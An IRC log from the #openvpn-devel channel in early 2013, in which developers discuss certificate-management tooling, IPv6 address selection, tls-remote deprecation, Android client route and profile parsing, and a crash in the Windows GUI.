<@dazo> and then with my planned eurphia cert manager lib ... replicating that behaviour to C will be a days work or two probably 08:38 <@dazo> ecrist: menu managed CA? 08:38 <+pekster> So, I re-tested running some basic bourne stuff from bash.exe & friends with cygwin, and it works as expected; it was just a poorly built sh that was the issue 08:38 <@ecrist> ssl-admin does much of what I want on the interactive side, and it would be a short jump to get it to do the batch stuff easy-rsa does well 08:39 <@ecrist> dazo - the goal is to do both 08:39 <@dazo> yeah, I see ... wouldn't the best approach then be to make ssl-admin be the interactive front-end to easy-rsa doing the "batch" work? 08:40 <@ecrist> I'd do-away with the ssl-admin name 08:40 <+pekster> That's a neat idea actually 08:40 <@ecrist> one script, each of the 'menu items' would have a flag for batch operations 08:40 <@dazo> ahh, well, that's no problem .... I just meant ssl-admin as in the "interactive" mode 08:41 <@ecrist> the issue here, and part of the debate, ssl-admin is written in perl. easy-rsa is written in sh 08:41 <@dazo> but I would probably recommend to have the interactive part as a separate code 08:41 <@dazo> yeah 08:41 <+pekster> But that's not a problem if the interactive stuff calls easy-rsa to do the real work 08:41 <@ecrist> we need to essentially rewrite easy-rsa, ssl-admin is mostly complete it it's current form 08:41 <@dazo> agreed 08:42 <@ecrist> the appeal of writing the whole thing in C is we can do away with the openssl cli and it's obtuse, unhelpful warnings/errors 08:43 <@dazo> ecrist: well, to some degree ... at least, you can add more context relative user friendly messages on top of the openssl errors ... but the error handling/reporting in openssl is ... kind of interesting 08:44 <@ecrist> right 08:44 <@dazo> (each error in openssl has a separate numeric code ... which is then translated into a rather static English sentence if the needed "error loading" has been done) 08:48 <@dazo> okay ... I'll let you two figure out what's the best approach how you see it for easy-rsa/ssl-admin ... I will anyway need to write some C code for eurephia's cert management, and can bear in mind that keeping parts of the code as a separate library might benefit others as well ... if you decide to move towards C, that's one option you then have 09:28 <@ecrist> heh, blind leading the blind 09:37 <@dazo> heh 10:27 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 13:20 -!- dazo is now known as dazo_afk 14:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 256 seconds] 17:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:08 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 18:31 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 18:43 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:09 -!- raidz is now known as raidz_away 19:45 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 21:00 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 21:13 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 21:53 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 22:06 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:13 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 22:13 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Tue Feb 26 2013 02:10 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 02:23 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:38 <@cron2> meh 02:38 <@cron2> iOS client fails to connect to dual-stack servers if the client network has no IPv6 02:39 <@cron2> (which is not surprising, admitted, but I haven't ran into that before and it just got in the way of the last pre-1.0.1 release tests...) 02:52 <@plaisthos> :) 02:53 <@plaisthos> but reading the source it should try ipv4 in that case first 02:56 -!- dazo_afk is now known as dazo 02:57 <@cron2> why? 03:01 <@plaisthos> it calls tcp::resolver udp::resolver from boost and than uses the first adress 03:01 <@cron2> and that one should be aware "what works" (like AI_ADDRCONFIG)? 03:04 <@plaisthos> even if not it should return the working ones first 03:04 <@plaisthos> unless iOS getaddrinfo behaves different than every other getaddrinfo 03:05 <@cron2> well, "normal" getaddrinfo() will return IPv6 first, IPv4 second, *unless* AI_ADDRCONFIG is set 03:06 <@cron2> I have not come across a getaddrinfo() implementation that returns IPv4 first if IPv6 is not available 03:06 <@cron2> (but then, my testing of that is a bit limited as my machines tend to *have* IPv6) 03:06 <@plaisthos> :) 03:08 <@plaisthos> http://www.ietf.org/rfc/rfc3484.txt 03:08 <@plaisthos> and linux man page says 03:08 <@plaisthos> Normally, the application should try using the addresses in the order in which they are returned. The sorting function used within getaddrinfo() is defined in RFC 3484; the order can be tweaked for a particular system by editing /etc/gai.conf (available since glibc 2.5). 03:09 <@cron2> mmmh, good argument 03:09 <@plaisthos> and rfc 3484 is basically native ipv6, after that native4, then tunneled ipv6/6to4 ipv6 03:11 <@cron2> yeah, thanks for the cluebat :-) - I *have* read 3484 before, and I'm aware of the precedence list, but sort of didn't put all pieces together. So, do OSX and iOS implement 3484 properly? 03:12 <@plaisthos> no idea about ios but os x does 03:12 <@cron2> (I know windows does, which is my standard argument for "do not use ipv6-only servers because by that you're forcing windows to 6to4/teredo") 03:14 * cron2 needs to find a test environment without IPv6... which is getting increasingly hard, as everywhere I have to work regularily, IPv6 gets installed :-) 03:15 <@plaisthos> cron2: :D 03:20 <@plaisthos> btw. this looks interesting http://newosxbook.com/src.jl?tree=listings&file=17-15-utun.c 03:20 <@vpnHelper> Title: Source of 17-15-utun.c (From listings) (at newosxbook.com) 03:20 <@plaisthos> using the mac os x internal tun driver 03:22 <@cron2> AF_SYSTEM, interesting 03:30 <@plaisthos> obscure os x apis ;) 03:30 <@plaisthos> the kernel is open source. If some is bored .... ;) 03:31 <@plaisthos> I bet this was written as part of the iOS stuff 03:31 <@plaisthos> there are also obscure defines like IF_UTUN_CRYPTO_IPSEC_ENC_AES256 03:32 <@cron2> ... interesting :) 03:33 <@plaisthos> but not needing an extra kernel extension for tun on os x could be useful in some cases 03:34 <@cron2> true. I have saved that code fragment away, in case we want to come back to it :-) - OTOH, unless the Tunnelblick people bring some feedback about "this is causing us problems!", it won't be anything but very low priority for me 03:35 <@plaisthos> :) 03:35 <@plaisthos> yeah. I won't do the multiple listening ports before I begin working on something else 03:35 <@plaisthos> so 2014 for utun ;) 03:37 <@cron2> I'm not sure I parse that sentence, but I think I understand what you want to tell us :) 04:02 <@plaisthos> But for your ios getaddrinfo issue. I think James has to either implement the iterate through addresses dance or implement happy eyeballs 04:05 <@plaisthos> but the getaddrinfo could also confused by your tunnel interface 04:06 <@plaisthos> if that has an ipv6 address 04:06 <@cron2> well, the tun won't be there before the connect succeeds (at least not with an IPv6 address), so that should not cause confusion. OTOH, I had a working IPv6-enabled tun just a few seconds before, disabled that, changed to a different profile, and tried connecting - maybe that confused the system 04:07 <@cron2> but the "iterate through address" dance will be needed anyway - there could be IPv6 on the LAN, but no working IPv6 connectivity to the server, or a misconfigured server not listening to IPv6 packets (connection refused), or whatever 04:13 <@plaisthos> you could the ugly remote xxx udp6 and then remote xxx udp4 but normally it is a good thing to have the rfc3484 selection 04:14 <@plaisthos> at least no user complained to me that openvpn tries to connect to the wrong address. 04:14 <@cron2> yeah, manually setting up two <connection> profiles would work fine, but i want the client to do the right thing automatically :-) 04:14 <@plaisthos> But most users don't have dual stacked servers anyway 04:14 <@cron2> that's what I was going to say next - there's not that many dual-stacked servers yet... 04:16 <@plaisthos> What I did is basically Resolve an addresss. Iterate through all addresses until the connection works. On reconnect begin with the address that work last 04:16 <@plaisthos> openvpn does the same with connection profiles 04:16 <@plaisthos> I don't know if this a good idea 04:16 <@cron2> sounds good to me 04:17 <@plaisthos> or if openvpn should begin with first connection/addr entry if reconnecting fails 04:18 <@plaisthos> the try until something works and try that again if it fails but go on with other servers otherwise is a bit strange 04:18 <@cron2> I'm sure we could find some cases where either approach is "wrong"... but as long as all addresses are tried, it should eventually succeed 04:25 <@plaisthos> .oO(More options!!!!1111eleven) 04:27 <@cron2> intermixed with more #ifdef, please, otherwise where's the fun! 05:23 -!- novaflash is now known as novaflash_away 05:23 -!- novaflash_away is now known as novaflash 08:37 <@d12fk> plaisthos: what does your android client do when it receives a net_gateway route? 08:37 <@d12fk> the iOS client hangs up =/ 08:39 <@cron2> iOS client 1.0.1 should be out "soon" now, and I think James has made it more tolerant regarding people's "real world" configurations :-) 08:51 <@d12fk> does it support tls-remote? 08:53 <@d12fk> anyone willing to review the tls-remote depreciation patchset btw? 08:54 <@cron2> 1.0.1 does tls-remote with the 2.2 syntax 08:54 <@d12fk> partial remedy 08:54 <@cron2> and yes, I'm willing to review, but I'm a bit overworked right now - thursday should see some free time, though, and I plan to spend that on OpenVPN 08:57 <@d12fk> oki 08:58 <@d12fk> maybe 1.0.2 will introduce --verify-x509-name support then too 08:58 <@cron2> that would be nice 10:13 <@plaisthos> d12fk: do the wrong thing 10:14 <@plaisthos> d12fk: at the moment it takes every route as being routed over tun 10:15 <@plaisthos> d12fk: what does your patchset do if both options are present? 10:15 <@plaisthos> or does it depend on the order? 10:15 <@d12fk> you mean tls-remote and verify-x509-name? bail out 10:16 <@d12fk> same with compat-names/no-name-remapping and verify-x509-name 10:16 <@d12fk> plaisthos: the filename in the content-disposition header will become the profile name int the client right 10:16 <@plaisthos> because the OpenVPN 3 will just ignore the unkown verify-x509-name option and will happily continue without remote verification 10:17 <@d12fk> it's happy without verification, that pretty much broken 10:31 <@plaisthos> maybe James fixed that in newer openvpn 3 version 10:31 <@plaisthos> but at the moment it just ignores options 10:31 <@plaisthos> and has/had a test for a few optinos that if not implemented will bail out 10:32 <@plaisthos> like remote-tls before implementing it 10:33 <@plaisthos> For my client the import has a ignore/bail out list: 10:33 <@plaisthos> http://code.google.com/p/ics-openvpn/source/browse/src/de/blinkt/openvpn/ConfigParser.java#203 10:33 <@vpnHelper> Title: ConfigParser.java - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 10:35 <@plaisthos> and the config generated by AS server will set the etenv FORWARD_COMPATIBLE 1 anyway 10:39 <@d12fk> what's that doing? ingore unknown options? 10:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:47 <@plaisthos> d12fk: yes 10:56 <@plaisthos> trust me I have seen than enough strange openvpn configs :) 10:58 <@plaisthos> (including people sending me complete configurations with key and certs) 11:03 <@dazo> plaisthos: we need a wiki page for those configs!! 11:03 <@cron2> with certs and keys! 11:03 <@dazo> yeah! free VPN, the wiki page can be called :-P 11:03 <@plaisthos> :D 11:03 <+krzee> lol 11:03 <@plaisthos> some one posted one in the public bug tracker 11:08 -!- raidz_away is now known as raidz 11:45 <@d12fk> that's why PKI failed, it's too hard for ppl to handle 11:45 <@d12fk> ...and openssl of course =) 12:11 <@plaisthos> d12fk: :D 12:12 <@plaisthos> really OT: anyone of you played the google ingress game? I keep hearing about it but have no idea if it is good or not 12:12 <@dazo> s/for ppl/for stupid ppl/ :-P 13:03 <@ecrist> dazo++ 13:25 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 13:37 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 16:15 -!- dazo is now known as dazo_afk 16:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:04 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 18:14 -!- raidz is now known as raidz_away 18:16 -!- raidz_away is now known as raidz 19:13 -!- raidz is now known as raidz_away 19:37 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:37 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] --- Day changed Wed Feb 27 2013 04:04 -!- dazo_afk is now known as dazo 04:29 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 04:42 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 04:42 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:13 <@plaisthos> d12fk: how does an usual astaro remote-tls entry look like? http://code.google.com/p/ics-openvpn/issues/detail?id=144 06:13 <@vpnHelper> Title: Issue 144 - ics-openvpn - X509 Certificate verification failed - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 06:14 <@d12fk> plaisthos: depends on the version the user is using 06:15 <@d12fk> tell him UTM 9.1 will support downloading config from user portal and he should hold still until then 06:16 <@d12fk> re: FORWARD_COMPATIBLE, does that also fix the client on iOS when it comes to non-vpn routes 06:16 <@d12fk> iirc your client simply ignore unknown stuff pushed to it right? 06:17 <@d12fk> ah wait, that's openvpn itself that handles the pushed routes 06:17 <@plaisthos> d12fk: routes or other stuff? 06:17 <@d12fk> for now routes 06:17 <@plaisthos> d12fk: For routes I assume all routes to the vpn 06:17 <@d12fk> i don't have a test setup yet 06:18 <@plaisthos> If you do push 1.2.3.4 255.255.255.255 net_gatway my client will ignore any paramter after the 3rd 06:18 <@d12fk> thing is, UTM has in the server conf: 06:18 <@plaisthos> an setup a route 1.2.3.4/24 to the tun0 06:18 <@d12fk> push 'route remote_host 255.255.255.255 net_gateway' 06:18 <@plaisthos> It is on my todo list to fix this 06:18 <@plaisthos> yeah 06:18 <@plaisthos> will add a remote remote/32 route to tun0 :) 06:19 <@d12fk> and break the tunnel for good 06:19 <@plaisthos> no 06:19 <@plaisthos> since the android API bind the socket for communicating to the external interface it does only care about routes for that interface 06:20 <@plaisthos> Even if you have 192.168.0.4 as IP address and the server gives 192.168.0.4 as VPN address this still works 06:21 <@d12fk> ah so the remote will always be reachable even if it's address is within the pushed routes 06:21 <@d12fk> i see 06:21 <@plaisthos> yes 06:22 <@d12fk> but couldn't you ignore routes into net_gateway instead 06:22 <@plaisthos> I could :) 06:22 <@plaisthos> or give a warning 06:23 <@plaisthos> As I said it is on my todo list 06:23 <@plaisthos> simply ignoring anything but first and second was easier than not ;) 06:24 <@plaisthos> And at the momente I get routes after OpenVPN did its inernal resolving 06:24 <@plaisthos> so I need to figure out if the 3/4th paramerts are net_gateway or vpn_gateway 06:25 <@plaisthos> And I have not look what the parameters look like if net_gateway and vpn_gateway have the same IP 06:41 <@plaisthos> d12fk: the UTM 9.1 will probably use the 2.2 remote-tls option? 06:49 <@d12fk> no it will use verify-tls-remote if openvpn 2.3.1 is released or almost and up until then tls-remote with the 2.3 semantics 06:50 <@d12fk> i.e. always rfc 2253 format, but depending on the public availability of verify-x509-name with tls-remote 06:50 * d12fk get a visit from our russin friend otherwise =) 06:53 <@d12fk> is FORWARD_COMPATIBLE an ovpn 3 only feature? 07:16 <@plaisthos> d12fk: man openvpn :) 07:17 <@plaisthos> no idea since when it is supported 07:37 <@dazo> commit 373faab1faf0a7c90cbe08c0223dcae5d34be269 07:37 <@dazo> Author: james <james@e7ae566f-a301-0410-adde-c780ea21d3b5> 07:37 <@dazo> Date: Tue Nov 4 21:42:56 2008 +0000 07:37 <@dazo> Added config file option "setenv FORWARD_COMPATIBLE 1" to relax 07:38 <@dazo> $ git tag --contains 373faab1faf0a7c90cbe08c0223dcae5d34be269 07:38 <@dazo> ... 07:38 <@dazo> v2.1_rc14 07:38 <@dazo> ... 07:38 <@dazo> (found by doing: $ git log -p --grep FORWARD_COMPAT ) 07:48 <@d12fk> --grep is nice to know 08:42 <@plaisthos> I would have tried git blame 08:58 <@dazo> that's usually my second choice :) ... as git blame may hide the original committer if that those lines where modified by others in the meantime 09:01 -!- dazo is now known as dazo_afk 09:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:48 <@ecrist> pekster: ping 09:49 <+krzee> *mitm* pong 09:51 <@ecrist> lol 10:00 <+pekster> ecrist: ICMP-0 10:04 <@ecrist> pm? 10:23 -!- raidz_away is now known as raidz 13:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:25 <@ecrist> dazo_afk: mattock_afk: http://pastebin.ca/2317640 15:26 <@ecrist> Windows 7, 64-bit, latest openvpn, openvpn gui crashes, the process for the vpn works fine 16:50 <+pekster> I can actually confirm intermittent issues with that too on Vista x64 here 16:53 <+pekster> I'm also happy to run a debug build and send back any debugging/core dumps if I can be pointed to such a build of openvpn-gui 17:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:30 -!- raidz is now known as raidz_away 21:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Thu Feb 28 2013 00:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:08 -!- dazo_afk is now known as dazo 02:21 <@dazo> ecrist: that's d12fk's fault! ;-) it's the GUI it seems 02:40 -!- mattock_afk is now known as mattock 03:20 <@cron2> isn't that the default anyway, that it's all d12fk's fault? 03:26 <+krzee> !blame 03:26 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments 03:26 <+krzee> depends who you ask 03:26 <@cron2> oh, indeed 03:26 <@cron2> .oO(whois Bushmills?) 03:26 <+krzee> … !learn blame as cron2 says its always d12fk's fault 03:26 <@dazo> a guy on #openvpn 03:26 <@dazo> krzee: go for it! 03:26 <@dazo> ;-) 03:26 <+krzee> !learn blame as cron2 says its always d12fk's fault 03:26 <@vpnHelper> Joo got it. 03:27 <@cron2> nah, that's a bit short, we should have that as (#4) 03:27 <@cron2> !blame 03:27 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments or (#4) cron2 says its always d12fk's fault 03:27 <@cron2> ah 03:27 <@cron2> it does it that way, cool :-) 03:33 * d12fk got a flamethrower, it will make all of you faulty, gnahaaahhaaa 03:36 <@d12fk> pekster: can you reproduce that? 03:36 <@cron2> d12fk: we know that you have a flame thrower, and flame bait, have seen it on the list :-) 03:36 <+krzee> lol 03:37 * d12fk goes crying over some coffee 03:37 <@cron2> d12fk: don't cry *over* the coffee - it will drop into it, and spoil the coffee 03:37 <@cron2> cry besides the coffee 03:38 <@cron2> (sorry... my customers are driving me slightly insane these days...) 03:39 <@d12fk> don't blame the customers now, you ruin it 03:40 <+krzee> !forget blame 4 03:40 <@vpnHelper> Joo got it. 03:40 <@cron2> heh 03:40 <+krzee> !learn blame as cron2 says its always d12fk's fault (and sometimes the customers) 03:40 <@vpnHelper> Joo got it. 03:40 <+krzee> lol 03:40 <+krzee> aww i forgot 03:40 <+krzee> [05:40] <krzee> !blame 03:40 <+krzee> [05:40] <vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments 03:40 <+krzee> !forget blame 4 03:40 <@vpnHelper> Joo got it. 03:41 <+krzee> there, fixed 03:41 <+krzee> the bot only links factoids 1 direction 03:41 <+krzee> if openvpn-devel doesnt have 1, then #openvpn's is used 03:41 <@cron2> !learn blame as cron2 says "if windows is involved, it's always d12fk's fault" 03:41 <@vpnHelper> Joo got it. 03:41 <@cron2> !blame 03:41 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments or (#4) cron2 says if windows is involved, it's always d12fk's fault 03:41 <+krzee> but it doesnt write back to #openvpn when you do it here 03:42 <@cron2> having this only in -devel is good enough 03:43 <+krzee> Your Buying Request has been successfully submitted. 03:43 <+krzee> Upon approval, Alibaba Industry Representatives will collect and send all quotations from suppliers to you within 5 working days. 03:43 <@cron2> Alibaba Industry is one of the branches from Honest Achmed, isn't it? 03:54 <@plaisthos> cron2: and if it is android I will assume the user is using the OpenVPN Connect client and it is not my fault 03:55 <@cron2> plaisthos: just blame it on d12fk's UTF8 patches :-) 03:56 <@plaisthos> cron2: good idea 04:02 <@dazo> [ot] http://9gag.com/gag/6669619 04:02 <@vpnHelper> Title: 9GAG - They say playing poker on iPad is better. I agree. (at 9gag.com) 04:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 04:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:06 <@dazo> andj: did you see this one? (lessons learnt from the traceroute trick ...) http://beaglenetworks.net/post/42828595476/what-i-learned-from-being-a-fleeting-internet-celeb 04:06 <@vpnHelper> Title: Beagle Networks — What I learned from being a fleeting internet celeb (at beaglenetworks.net) 04:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:44 <@andj> dazo: not yet, having a look :) 05:46 <@dazo> poor guy :) 05:47 <@andj> wow, that's pretty bad... Why would you do that, it was a pretty cool trick :( 06:20 <@dazo> yeah :/ 06:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 06:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 06:35 -!- Netsplit *.net <-> *.split quits: @raidz_away, jamxNL 06:37 -!- Netsplit over, joins: jamxNL 07:14 <@ecrist> morning kids 08:06 <@mattock> morning 08:07 <@ecrist> do we have a fix for that windows error I posted yesterday, or do we need to slap d12fk around a bit today? 08:07 <@ecrist> :P 08:09 <@d12fk> ecrist: pastebin ist gone, repost pls 08:11 <+pekster> d12fk: The issue is intermittent for me, but I just fired up a tunnel after a fresh boot and got another crash: http://paste.kde.org/684110/ 08:14 <@ecrist> d12fk: pastebin is still there: http://pastebin.ca/2317640 08:15 <@d12fk> ecrist: not for me i just get white page 08:15 <@dazo> d12fk: your backup of internet is corrupted! 08:16 <@ecrist> woah 08:16 <@ecrist> pastebin.ca is offline 08:16 <@ecrist> no matter 08:16 <@ecrist> http://pastebin.com/VZfa6dHS 08:17 <@d12fk> dafuq is this shit, how's it supposed to help locating the error?! 08:18 <@d12fk> windows is so weird 08:18 <@d12fk> ecrist: can you reproduce this easily? 08:20 <+pekster> pastebin.ca works over IPv4, not IPv6 (looks like some v6 issue on the web server side) 08:20 <@mattock> ...rebooting some servers due to kernel upgrades 08:28 <@ecrist> d12fk: the laptop that this happened on just flew to Tampa 08:31 <@d12fk> that's bayd, mkay 08:31 <@dazo> ecrist: you got a strong arm, to be able to throw it so far ..... 08:32 <@d12fk> is this a mingw build? 08:34 <+pekster> The crash I get is the official release of 2.3.0 x86_64 build I004, running on Vista x64 SP2 08:49 <@d12fk> when it crashes i suppose it's before there are log lines in the gui status window, right? 08:50 -!- dazo is now known as dazo_afk 09:05 -!- dazo_afk is now known as dazo 09:07 <+pekster> d12fk: It crashesh after the connection is successfully up, so I get the normal status window output from openvpn up until that point. And the underlying openvpn.exe process is still running with a successful connection to the remote peer 09:16 <@d12fk> aha, what verb level do you use? 09:17 <@d12fk> could you post the log file up to the crash? 09:24 <+pekster> Well, I run at verb 4, but because of the behaviour I documented in bug #260, it's basically verb 3 anyway. I'll get one pasted next time I can re-create a crash. I'll need to check, but I'm pretty sure the status window goes inactive (but I can still pull the log up to that point from the on-disk log.) 09:25 <+pekster> I believe it dies right around the "sleeping for 5 seconds" notice, maybe even before the sleep time is up, but I'll pay closer attention now 09:27 <@ecrist> on verb 5, it kept dying during the log line about Tap adapter something or other 09:28 <@dazo> plaisthos: this might be of interest to you ... https://marakana.com/s/post/1393/slides.htm#title-slide 09:28 <@vpnHelper> Title: Android Security Underpinnings (at marakana.com) 09:33 <+pekster> d12fk: Here you go: http://paste.kde.org/684188/ 11:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:16 <@cron2> *sigh* there goes my free "can work on OpenVPN" evening... off to customer site, replace failed hard disk in server... 11:16 <@d12fk> pekster: stick around i'll post a "debug" gui tomorrow 11:20 <@d12fk> plaisthos: o4a failed to parse "remote 10.8.16.195 443" how come? 11:20 <@d12fk> server was unknown and port 1194 after the config import 11:34 -!- dazo is now known as dazo_afk 12:39 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 12:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:41 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 12:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:46 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 13:47 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 14:01 -!- dr [~dr@srv03.cluenet.de] has joined #openvpn-devel 14:01 < dr> 'lo 14:11 * ecrist finally meets pekster in the flesh 14:11 <@ecrist> helo dr 14:44 <+pekster> d12fk: Sure, ping me when you have a link and I'll try and re-create the crash; it's usually consistent enough to occur once in a dozen or two connections 14:45 <+pekster> Perhaps we can't blame the OS for this crash, right ecrist? I'm mildly disappointed :P 14:47 <@ecrist> indeed 15:08 -!- mattock is now known as mattock_afk 15:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 19:28 -!- raidz is now known as raidz_away --- Day changed Fri Mar 01 2013 02:06 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Quit: leaving] 02:09 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 02:09 -!- mattock_afk is now known as mattock 02:24 <@mattock> cron2: it seems your buildslaves haven't connected to the buildmaster after openvpn and buildmaster server restarts 02:26 <@cron2> mattock: let me look. All of them, or just some? 02:31 <@cron2> ok, fbsd74+fbsd82 restarted, fbsd90 seems happy enough... 02:33 <@mattock> netbsd, openbsd, opensolaris still not connected 02:33 <@cron2> netbsd should be back in a few seconds. openbsd's openvpn is still up, let me see whatr it has 02:34 <@cron2> ah, on obsd, buildbot died *meh* 02:36 <@cron2> and osol is not reboot-safe, needs manual starting of openvpn and buildbot *rolleyes* 02:37 <@cron2> osol back, obsd back 02:37 <@cron2> nbsd back! 02:38 <@mattock> all in order now 02:38 <@mattock> fedora 16 is not supposed to be up all the time 03:20 -!- dazo_afk is now known as dazo 03:21 <@plaisthos> d12fk: o4a? 03:21 <@plaisthos> d12fk: maybe I introduced this bug with the update :/ 03:23 <@d12fk> plaisthos: openvpn for android id too much hassle to write =) 03:25 <@plaisthos> d12fk: yeah it is my fault 03:25 <@plaisthos> I will push a new version to the market :/ 03:28 <@d12fk> plaisthos: you could also include the tls-remote compat patchset, will make live of users easier 03:28 <@plaisthos> d12fk: yeah. Apart from that there are configs out there that are already converted 03:29 <@cron2> d12fk: sneaking in un-approved changes, are you? ;-) 03:29 <@d12fk> i approve them! =) 03:29 * cron2 still has this on his agenda, though, just "spare evening for OpenVPN" didn't happen yesterday :-( 03:29 <@cron2> OTOH if plaisthos could review and ACK, I'll commit and push... 03:29 <@d12fk> my name is d12fk and I approve this patchset! 03:30 <@plaisthos> d12fk: ics-openvpn already sometimes feels like a fork ;) 03:52 <@plaisthos> d12fk: http://plai.de/android/ics-openvpn0533.apk 03:52 <@plaisthos> will take a few hours until the market shows the update 03:53 <@d12fk> that's fine with me 05:39 <@plaisthos> d12fk: https://play.google.com/store/apps/details?id=de.blinkt.openvpn already shows the new version so it be available on your phone too 05:39 <@vpnHelper> Title: OpenVPN for Android - Android Apps on Google Play (at play.google.com) 05:41 <@d12fk> checking 05:43 <@d12fk> mine still has .32 05:43 <@d12fk> how can i force fetch the latest version 05:43 <@plaisthos> no idea 05:44 <@plaisthos> you could just install it from the url ;) 05:44 <@d12fk> ah now i have it 05:45 <@d12fk> ah looks much cleaner with the new layout 05:45 <@d12fk> nice 05:49 <@d12fk> one thing i just noticed, when o4a is open and then i download and import a profile via browser, go back then the profile doesn't show. i have to a different tab and come back, then it's there 05:50 <@d12fk> plaisthos: is there a way to auto add the username via profile? 05:50 <@d12fk> freshly imported profiles fail because there's none 05:51 <@d12fk> alternatively it should just query the username from the user as well 06:00 <@plaisthos> d12fk: yes 06:00 <@plaisthos> just do the auth-user-pass as inline 06:01 <@plaisthos> or as extra file ... 06:01 <@plaisthos> it is not documented because I don't want to encourage usage of passwords in profiles ... 06:01 <@d12fk> no i don't want to add the password either 06:02 <@d12fk> are you parsing the auth-user-pass with a username only as well? 06:14 <@plaisthos> let me look into the source ... 06:14 <@plaisthos> :) 06:15 <@plaisthos> okay 06:15 <@plaisthos> it only supports the form with user+pass 06:15 <@plaisthos> but if you add user\n(empty line) 06:15 <@plaisthos> it sets the password to empty 06:16 <@plaisthos> Something like 06:17 <@plaisthos> <auth-user-pass> 06:17 <@plaisthos> username 06:17 <@plaisthos> 06:17 <@plaisthos> </auth-user-pass> 06:17 <@plaisthos> should work 06:17 <@plaisthos> the app will always ask when the password is empty 06:18 <@plaisthos> I 